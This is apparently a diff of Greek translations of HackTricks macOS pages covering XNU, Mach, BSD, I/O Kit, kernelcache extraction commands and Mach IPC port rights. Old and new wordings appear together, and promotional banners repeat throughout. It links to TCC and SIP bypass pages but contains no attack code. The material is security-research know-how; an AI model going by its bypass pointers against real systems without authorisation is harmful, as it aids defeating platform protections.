Ακολουθήστε αυτούς τους συνδέσμους για να βρείτε διαφορετικούς τρόπους για [**ανόδο προνομίων στο TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), για [**παράκαμψη του TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) και πώς στο παρελθόν [**έχει παρακαμφθεί το SIP**](macos-security-protections/macos-sip.md#sip-bypasses).
## Κλασική
## Αναφορές
* [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
@ -99,31 +134,32 @@
* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
* [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Συμμετέχετε στον διακομιστή [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
Συμμετέχετε στον [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) διακομιστή για να επικοινωνήσετε με έμπειρους χάκερ και κυνηγούς ευρημάτων ασφαλείας!
**Εισαγωγή στο Hacking**\
Ασχοληθείτε με περιεχόμενο που εξερευνά τον ενθουσιασμό και τις προκλήσεις του χάκινγκ.
Ασχοληθείτε με περιεχόμενο που εξερευνά την αγωνία και τις προκλήσεις του χάκινγκ
**Ειδήσεις Χάκινγκ σε Πραγματικό Χρόνο**\
Μείνετε ενημερωμένοι με τον γρήγορο ρυθμό του κόσμου του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο.
Μείνετε ενήμεροι με τον γρήγορο κόσμο του χάκινγκ μέσω ειδήσεων και αναλύσεων σε πραγματικό χρόνο
**Τελευταίες Ανακοινώσεις**\
Μείνετε ενημερωμένοι με τις νεότερες ευρήματα ασφαλείας που κυκλοφορούν και τις κρίσιμες ενημερώσεις των πλατφορμών.
Μείνετε ενήμεροι με τις νεότερες ανακοινώσεις για νέες αμοιβές ευρετηρίων και κρίσιμες ενημερώσεις πλατφόρμας
**Συμμετέχετε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) **και αρχίστε να συνεργάζεστε με τους κορυφαίους χάκερ σήμερα!**
**Συμμετέχετε στο** [**Discord**](https://discord.com/invite/N3FrSbmwdy) και αρχίστε τη συνεργασία με κορυφαίους χάκερ σήμερα!
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Συμμετάσχετε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) **και** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **αποθετήρια του github.**
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 στην ομάδα [**Discord**](https://discord.gg/hRep4RUj7f) ή στην ομάδα [**telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε χάκινγκ κόλπα υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# macOS Kernel & System Extensions
# macOS Πυρήνας & Επεκτάσεις Συστήματος
{% hint style="success" %}
Μάθε & εξάσκησε το AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθε & εξάσκησε το GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks στο AWS)</strong></a><strong>!</strong></summary>
<summary>Υποστήριξε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Συμμετέχετε** 💬 στην [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγράφου**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
</details>
{% endhint %}
## Πυρήνας XNU
Η **καρδιά του macOS είναι ο XNU**, που σημαίνει "X is Not Unix". Αυτός ο πυρήνας αποτελείται θεμελιωτικά από τον **μικροπυρήνα Mach** (που θα συζητηθεί αργότερα), **και** στοιχεία από τη Διανομή Λογισμικού Berkeley (**BSD**). Ο XNU παρέχει επίσης μια πλατφόρμα για **οδηγούς πυρήνα μέσω ενός συστήματος που ονομάζεται I/O Kit**. Ο πυρήνας XNU είναι μέρος του ανοικτού κώδικα του έργου Darwin, που σημαίνει ότι **ο κώδικάς του είναι ελεύθερα προσβάσιμος**.
Ο **πυρήνας του macOS είναι ο XNU**, που σημαίνει "X is Not Unix". Αυτός ο πυρήνας αποτελείται θεμελιωδώς από τον **μικροπυρήνα Mach** (που θα συζητηθεί αργότερα), **και** στοιχεία από τη Διανομή Λογισμικού του Πανεπιστημίου του Μπέρκλεϊ (**BSD**). Ο XNU παρέχει επίσης μια πλατφόρμα για **οδηγούς πυρήνα μέσω ενός συστήματος που ονομάζεται I/O Kit**. Ο πυρήνας XNU είναι μέρος του έργου ανοικτού κώδικα Darwin, που σημαίνει ότι **ο κώδικας του είναι ελεύθερα προσβάσιμος**.
Από την άποψη ενός ερευνητή ασφάλειας ή ενός προγραμματιστή Unix, το **macOS** μπορεί να φανεί αρκετά **παρόμοιο** με ένα σύστημα **FreeBSD** με μια κομψή γραφική διεπαφή και μια σειρά προσαρμοσμένων εφαρμογών. Οι περισσότερες εφαρμογές που αναπτύσσονται για το BSD θα μεταγλωττιστούν και θα τρέξουν στο macOS χωρίς την ανάγκη τροποποιήσεων, καθώς τα εργαλεία γραμμής εντολών που είναι γνωστά στους χρήστες Unix είναι όλα παρόντα στο macOS. Ωστόσο, επειδή ο πυρήνας XNU ενσωματώνει το Mach, υπάρχουν ορισμένες σημαντικές διαφορές μεταξύ ενός παραδοσιακού συστήματος παρόμοιου με Unix και του macOS, και αυτές οι διαφορές μπορεί να προκαλέσουν προβλήματα ή να παρέχουν μοναδικά πλεονεκτήματα.
Από την άποψη ενός ερευνητή ασφάλειας ή ενός προγραμματιστή Unix, το **macOS** μπορεί να φανεί αρκετά **παρόμοιο** με ένα σύστημα **FreeBSD** με μια κομψή γραφική διεπαφή και μια σειρά προσαρμοσμένων εφαρμογών. Οι περισσότερες εφαρμογές που αναπτύσσονται για το BSD θα μεταγλωττιστούν και θα εκτελεστούν στο macOS χωρίς την ανάγκη τροποποιήσεων, καθώς τα εργαλεία γραμμής εντολών που είναι γνωστά στους χρήστες Unix είναι όλα παρόντα στο macOS. Ωστόσο, επειδή ο πυρήνας XNU ενσωματώνει το Mach, υπάρχουν ορισμένες σημαντικές διαφορές μεταξύ ενός παραδοσιακού συστήματος παρόμοιου με Unix και του macOS, και αυτές οι διαφορές μπορεί να προκαλέσουν προβλήματα ή να παρέχουν μοναδικά πλεονεκτήματα.
Ανοικτή έκδοση του XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
Πηγαίος κώδικας του XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
### Mach
Το Mach είναι ένας **μικροπυρήνας** σχεδιασμένος να είναι **συμβατός με το UNIX**. Ένας από τους βασικούς σχεδιαστικούς του αρχές ήταν να **ελαχιστοποιήσει** το ποσοστό του **κώδικα** που τρέχει στον **χώρο του πυρήνα** και αντ' αυτού να επιτρέψει σε πολλές τυπικές λειτουργίες πυρήνα, όπως σύστημα αρχείων, δικτύωση και I/O, να **τρέχουν ως εργασίες σε επίπεδο χρήστη**.
Το Mach είναι ένας **μικροπυρήνας** σχεδιασμένος να είναι **συμβατός με το UNIX**. Ένας από τα βασικά αρχέτυπα σχεδιασμού του ήταν να **ελαχιστοποιήσει** το ποσοστό του **κώδικα** που εκτελείται στον **χώρο του πυρήνα** και αντ' αυτού να επιτρέψει σε πολλές τυπικές λειτουργίες πυρήνα, όπως σύστημα αρχείων, δικτύωση και I/O, να **εκτελούνται ως εργασίες σε επίπεδο χρήστη**.
Στο XNU, το Mach είναι **υπεύθυνο για πολλές από τις κρίσιμες λειτουργίες χαμηλού επιπέδου** που ένας πυρήνας χειρίζεται τυπικά, όπως προγραμματισμός επεξεργαστή, πολυεργασία και διαχείριση εικονικής μνήμης.
Στο XNU, το Mach είναι **υπεύθυνο για πολλές από τις κρίσιμες λειτουργίες χαμηλού επιπέδου** που ένας πυρήνας χειρίζεται τυπικά, όπως προγραμματισμός επεξεργαστή, πολλαπλές εργασίες και διαχείριση εικονικής μνήμης.
### BSD
Ο πυρήνας XNU επίσης **ενσωματώνει** μια σημαντική ποσότητα κώδικα που προέρχεται από το έργο **FreeBSD**. Αυτός ο κώδικας **τρέχει ως μέρος του πυρήνα μαζί με το Mach**, στον ίδιο χώρο διεύθυνσης. Ωστόσο, ο κώδικας του FreeBSD μέσα στο XNU μπορεί να διαφέρει σημαντικά από τον αρχικό κώδικα του FreeBSD επειδή απαιτήθηκαν τροποποιήσεις για να εξασφαλιστεί η συμβατότητά του με το Mach. Το FreeBSD συμβάλλει σε πολλές λειτουργίες πυρήνα, συμπεριλαμβανομένων:
Ο πυρήνας XNU επίσης **ενσωματώνει** μια σημαντική ποσότητα κώδικα που προέρχεται από το έργο **FreeBSD**. Αυτός ο κώδικας **εκτελείται ως μέρος του πυρήνα μαζί με το Mach**, στον ίδιο χώρο διεύθυνσης. Ωστόσο, ο κώδικας του FreeBSD μέσα στο XNU μπορεί να διαφέρει σημαντικά από τον αρχικό κώδικα του FreeBSD επειδή απαιτήθηκαν τροποποιήσεις για να εξασφαλιστεί η συμβατότητά του με το Mach. Το FreeBSD συμβάλλει σε πολλές λειτουργίες πυρήνα, συμπεριλαμβανομένων:
* Διαχείριση διεργασιών
* Χειρισμός σημάτων
@ -39,13 +40,13 @@
* Στοίβα TCP/IP και sockets
* Τείχος προστασίας και φιλτράρισμα πακέτων
Η κατανόηση της αλληλεπίδρασης μεταξύ BSD και Mach μπορεί να είναι πολύπλοκη, λόγω των διαφορετικών θεωρητικών πλαισίων τους. Για παράδειγμα, το BSD χρησιμοποιεί διεργασίες ως τη βασική μονάδα εκτέλεσης του, ενώ το Mach λειτουργεί με βάση τις νήματα. Αυτή η αντίφαση συμβιβάζεται στο XNU με το **συσχετισμό κάθε διεργασίας BSD με μια εργασία Mach** που περιέχει ακριβώς ένα νήμα Mach. Όταν χρησιμοποιείται η κλήση συστήματος fork() του BSD, ο κώδικας BSD μέσα στον πυρήνα χρησιμοποιεί λειτουργίες Mach για να δημιουργήσει μια εργασία και μια δομή νήματος.
Η κατανόηση της αλληλεπίδρασης μεταξύ BSD και Mach μπορεί να είναι πολύπλοκη, λόγω των διαφορετικών θεωρητικών πλαισίων τους. Για παράδειγμα, το BSD χρησιμοποιεί διεργασίες ως τη βασική μονάδα εκτέλεσης του, ενώ το Mach λειτουργεί με βάση τις νήματα. Αυτή η αντίφαση συμβιβάζεται στο XNU με το **συσχετισμό κάθε διεργασίας BSD με μια εργασία Mach** που περιέχει ακριβώς ένα νήμα Mach. Όταν χρησιμοποιείται η κλήση συστήματος fork() του BSD, ο κώδικας του BSD μέσα στον πυρήνα χρησιμοποιεί λειτουργίες Mach για να δημιουργήσει μια εργασία και μια δομή νήματος.
Επιπλέον, **το Mach και το BSD διατηρούν διαφορετικά μοντέλα ασφαλείας**: το μοντέλο ασφαλείας του Mach βασίζεται σε **δικαιώματα θύρας**, ενώ το μοντέλο ασφαλείας του BSD λειτουργεί βάσει της **ιδιοκτησίας διεργασίας**. Οι αντιφάσεις μεταξύ αυτών των δύο μοντέλων έχουν προκαλέσει περιστασιακά ευπάθειες προς ανόδο προνομίων σε τοπικό επίπεδο. Εκτός από τις τυπικές κλήσεις συστήματος, υπάρχουν επίσης **παγίδες Mach που επιτρέπουν σε προγράμματα χώρου χρήστη να αλληλεπιδρούν με τον πυρήνα**. Αυτά τα διαφορετικά στοιχεία σχηματίζουν μαζί την πολυδιάστατη, υβριδική αρχιτεκτονική του πυρήνα macOS.
Επιπλέον, **ο Mach και το BSD διατηρούν διαφορετικά μοντέλα ασφαλείας**: το μοντέλο ασφαλείας του Mach βασίζεται σε **δικαιώματα θύρας**, ενώ το μοντέλο ασφαλείας του BSD λειτουργεί βάσει της **ιδιοκτησίας διεργασίας**. Οι αντιφάσεις μεταξύ αυτών των δύο μοντέλων έχουν προκαλέσει περιστασιακά ευπάθειες εκτίναξης προνομίων σε τοπικό επίπεδο. Εκτός από τις τυπικές κλήσεις συστήματος, υπάρχουν επίσης **παγίδες Mach που επιτρέπουν σε προγράμματα χώρου χρήστη να αλληλεπιδρούν με τον πυρήνα**. Αυτά τα διαφορετικά στοιχεία σχηματίζουν μαζί την πολυδιάστατη, υβριδική αρχιτεκτονική του πυρήνα macOS.
### I/O Kit - Οδηγοί
Το I/O Kit είναι ένα ανοικτού κώδικα, αντικειμενοστραφές **πλαίσιο οδηγών συσκευών** στον πυρήνα XNU, χειρίζεται **δυναμικά φορτωμένους οδηγούς συσκευών**. Επιτρέπει την προσθήκη μοντουλαρισμένου κώδικα στον πυρήνα κατά τη διάρκεια της λειτουργίας, υποστηρίζοντας ποικίλες υλικές συσκευές.
Το I/O Kit είναι ένα πλαίσιο **οδηγών συσκευών** ανοικτού κώδικα στον πυρήνα XNU, χειρίζεται **δυναμικά φορτωμένους οδηγούς συσκευών**. Επιτρέπει την προσθήκη μοντουλαρισμένου κώδικα στον πυρήνα κατά τη διάρκεια της λειτουργίας, υποστηρίζοντας ποικίλες υλικολογικές συσκευές.
{% content-ref url="macos-iokit.md" %}
[macos-iokit.md](macos-iokit.md)
@ -59,8 +60,7 @@
### Kernelcache
Το **kernelcache** είναι μια \*\*προ-μεταγλωττισμένη και προ-συνδεδεμένη έκδοση του πυρήνα XNU
Το **kernelcache** είναι μια **προ-μεταγλωττισμένη και προ-συνδεδεμένη έκδοση του πυρήνα XNU**, μαζί με τους απαραίτητους οδηγούς συσκευών και επεκτάσεις πυρήνα. Αποθηκεύεται σε μορφή **συμπιεσμένη** και αποσυμπιέ
```bash
# pyimg4 (https://github.com/m1stadev/PyIMG4)
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
@ -68,15 +68,14 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
# img4tool (https://github.com/tihmstar/img4tool
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
#### Σύμβολα Kernelcache
Κάποιες φορές η Apple κυκλοφορεί **kernelcache** με **σύμβολα**. Μπορείτε να κατεβάσετε μερικά firmwares με σύμβολα ακολουθώντας τους συνδέσμους στο [https://theapplewiki.com](https://theapplewiki.com/).
Κάποιες φορές η Apple κυκλοφορεί το **kernelcache** με **σύμβολα**. Μπορείτε να κατεβάσετε μερικά firmwares με σύμβολα ακολουθώντας τους συνδέσμους στο [https://theapplewiki.com](https://theapplewiki.com/).
### IPSW
Αυτά είναι τα Apple **firmwares** που μπορείτε να κατεβάσετε από το [**https://ipsw.me/**](https://ipsw.me/). Μεταξύ άλλων αρχείων περιέχει το **kernelcache**.\
Για να **εξάγετε** τα αρχεία μπορείτε απλά να το **αποσυμπιέσετε**.
Για να **εξάγετε** τα αρχεία, απλά μπορείτε να το **αποσυμπιέσετε**.
Μετά την εξαγωγή του firmware θα λάβετε ένα αρχείο όπως: **`kernelcache.release.iphone14`**. Είναι σε μορφή **IMG4**, μπορείτε να εξάγετε τις ενδιαφέρουσες πληροφορίες με:
@ -89,15 +88,12 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
{% endcode %}
* [**img4tool**](https://github.com/tihmstar/img4tool)
```bash
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
Μπορείτε να ελέγξετε τα σύμβολα που εξήχθησαν από τον πυρήνα με: **`nm -a kernelcache.release.iphone14.e | wc -l`**
Με αυτό τώρα μπορούμε **να εξάγουμε όλες τις επεκτάσεις** ή τη **μία που σας ενδιαφέρει:**
Με αυτό τώρα μπορούμε να **εξάγουμε όλες τις επεκτάσεις** ή τη **μία που σας ενδιαφέρει:**
```bash
# List all extensions
kextex -l kernelcache.release.iphone14.e
@ -110,10 +106,9 @@ kextex_all kernelcache.release.iphone14.e
# Check the extension for symbols
nm -a binaries/com.apple.security.sandbox | wc -l
```
## macOS Επεκτάσεις Πυρήνα
Το macOS είναι **υπερβολικά περιοριστικό στο να φορτώσει Επεκτάσεις Πυρήνα** (.kext) λόγω των υψηλών προνομίων που θα εκτελεστεί ο κώδικας. Πράγματι, από προεπιλογή είναι σχεδόν αδύνατο (εκτός αν βρεθεί ένας τρόπος παράκαμψης).
Το macOS είναι **υπερβολικά περιοριστικό στο να φορτώσει Επεκτάσεις Πυρήνα** (.kext) λόγω των υψηλών προνομίων που θα εκτελεί ο κώδικας. Πραγματικά, από προεπιλογή είναι σχεδόν αδύνατο (εκτός αν βρεθεί κάποιος τρόπος παράκαμψης).
{% content-ref url="macos-kernel-extensions.md" %}
[macos-kernel-extensions.md](macos-kernel-extensions.md)
@ -121,7 +116,7 @@ nm -a binaries/com.apple.security.sandbox | wc -l
### Επεκτάσεις Συστήματος macOS
Αντί να χρησιμοποιεί Επεκτάσεις Πυρήνα, το macOS δημιούργησε τις Επεκτάσεις Συστήματος, οι οποίες προσφέρουν APIs σε επίπεδο χρήστη για να αλληλεπιδράσουν με τον πυρήνα. Με αυτόν τον τρόπο, οι προγραμματιστές μπορούν να αποφύγουν τη χρήση επεκτάσεων πυρήνα.
Αντί να χρησιμοποιεί Επεκτάσεις Πυρήνα, το macOS δημιούργησε τις Επεκτάσεις Συστήματος, οι οποίες προσφέρουν APIs σε επίπεδο χρήστη για αλληλεπίδραση με τον πυρήνα. Με αυτόν τον τρόπο, οι προγραμματιστές μπορούν να αποφύγουν τη χρήση επεκτάσεων πυρήνα.
{% content-ref url="macos-system-extensions.md" %}
[macos-system-extensions.md](macos-system-extensions.md)
@ -131,17 +126,3 @@ nm -a binaries/com.apple.security.sandbox | wc -l
* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>

View file

@ -1,18 +1,19 @@
# macOS IPC - Επικοινωνία Μεταξύ Διεργασιών
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Υποστηρίξτε το HackTricks</summary>
Άλλοι τρόποι υποστήριξης του HackTricks:
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Κοινοποιήστε κόλπα χάκερ με την υποβολή PRs** στα αποθετήρια [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
{% endhint %}
## Μήνυμα Mach μέσω Θυρών
@ -22,7 +23,7 @@
Η επικοινωνία μεταξύ εργασιών πραγματοποιείται μέσω της Διαδικασίας Επικοινωνίας Διεργασιών Mach (IPC), χρησιμοποιώντας μονοδιευθυντικά κανάλια επικοινωνίας. **Τα μηνύματα μεταφέρονται μεταξύ θυρών**, οι οποίες λειτουργούν ως **ουρές μηνυμάτων** που διαχειρίζεται το πυρήνας.
Κάθε διεργασία έχει μια **πίνακα IPC**, όπου είναι δυνατό να βρεθούν οι **θύρες mach της διεργασίας**. Το όνομα μιας θύρας mach είναι στην πραγματικότητα ένας αριθμός (ένας δείκτης στο αντικείμενο πυρήνα).
Κάθε διεργασία έχει μια **πίνακα IPC**, όπου είναι δυνατό να βρεθούν **οι θύρες mach της διεργασίας**. Το όνομα μιας θύρας mach είναι στην πραγματικότητα ένας αριθμός (ένας δείκτης στο αντικείμενο πυρήνα).
Μια διεργασία μπορεί επίσης να στείλει ένα όνομα θύρας με κάποια δικαιώματα **σε μια διαφορετική εργασία** και το πυρήνας θα κάνει αυτήν την καταχώριση στο **πίνακα IPC της άλλης εργασίας** να εμφανιστεί.
@ -30,15 +31,15 @@
Τα δικαιώματα θύρας, τα οποία καθορίζουν ποιες λειτουργίες μπορεί να εκτελέσει μια εργασία, είναι καίριας σημασίας για αυτήν την επικοινωνία. Τα πιθανά **δικαιώματα θύρας** είναι ([ορισμοί από εδώ](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
* **Δικαίωμα Λήψης**, το οποίο επιτρέπει τη λήψη μηνυμάτων που στέλνονται στη θύρα. Οι θύρες Mach είναι ουρές MPSC (πολλαπλών παραγωγών, μονό εντοπιστή) που σημαίνει ότι μπορεί να υπάρχει μόνο **ένα δικαίωμα λήψης για κάθε θύρα** σε ολόκληρο το σύστημα (διαφορετικά από τα αγωγά, όπου πολλές διεργασίες μπορούν να κρατούν όλες τις περιγραφές αρχείων στο άκρο ανάγνωσης ενός αγωγού).
* **Δικαίωμα Λήψης**, το οποίο επιτρέπει τη λήψη μηνυμάτων που στέλνονται στη θύρα. Οι θύρες Mach είναι ουρές MPSC (πολλαπλών παραγωγών, μονός καταναλωτής), που σημαίνει ότι μπορεί να υπάρχει μόνο **ένα δικαίωμα λήψης για κάθε θύρα** σε ολόκληρο το σύστημα (διαφορετικά από τα αγωγά, όπου πολλές διεργασίες μπορούν να κρατούν όλες τις περιγραφές αρχείων στο άκρο ανάγνωσης ενός αγωγού).
* Μια **εργασία με το Δικαίωμα Λήψης** μπορεί να λαμβάνει μηνύματα και **να δημιουργεί Δικαιώματα Αποστολής**, επιτρέποντάς της να στέλνει μηνύματα. Αρχικά μόνο η **ίδια εργασία έχει το Δικαίωμα Λήψης πάνω από τη θύρα της**.
* **Δικαίωμα Αποστολής**, το οποίο επιτρέπει την αποστολή μηνυμάτων στη θύρα.
* Το Δικαίωμα Αποστολής μπορεί να **κλωνοποιηθεί** έτσι μια εργασία που κατέχει ένα Δικαίωμα Αποστολής μπορεί να κλωνοποιήσει το δικαίωμα και **να το χορηγήσει σε μια τρίτη εργασία**.
* Το Δικαίωμα Αποστολής μπορεί να **κλωνοποιηθεί** έτσι ώστε μια εργασία που κατέχει ένα Δικαίωμα Αποστολής να μπορεί να κλωνοποιήσει το δικαίωμα και **να το χορηγήσει σε μια τρίτη εργασία**.
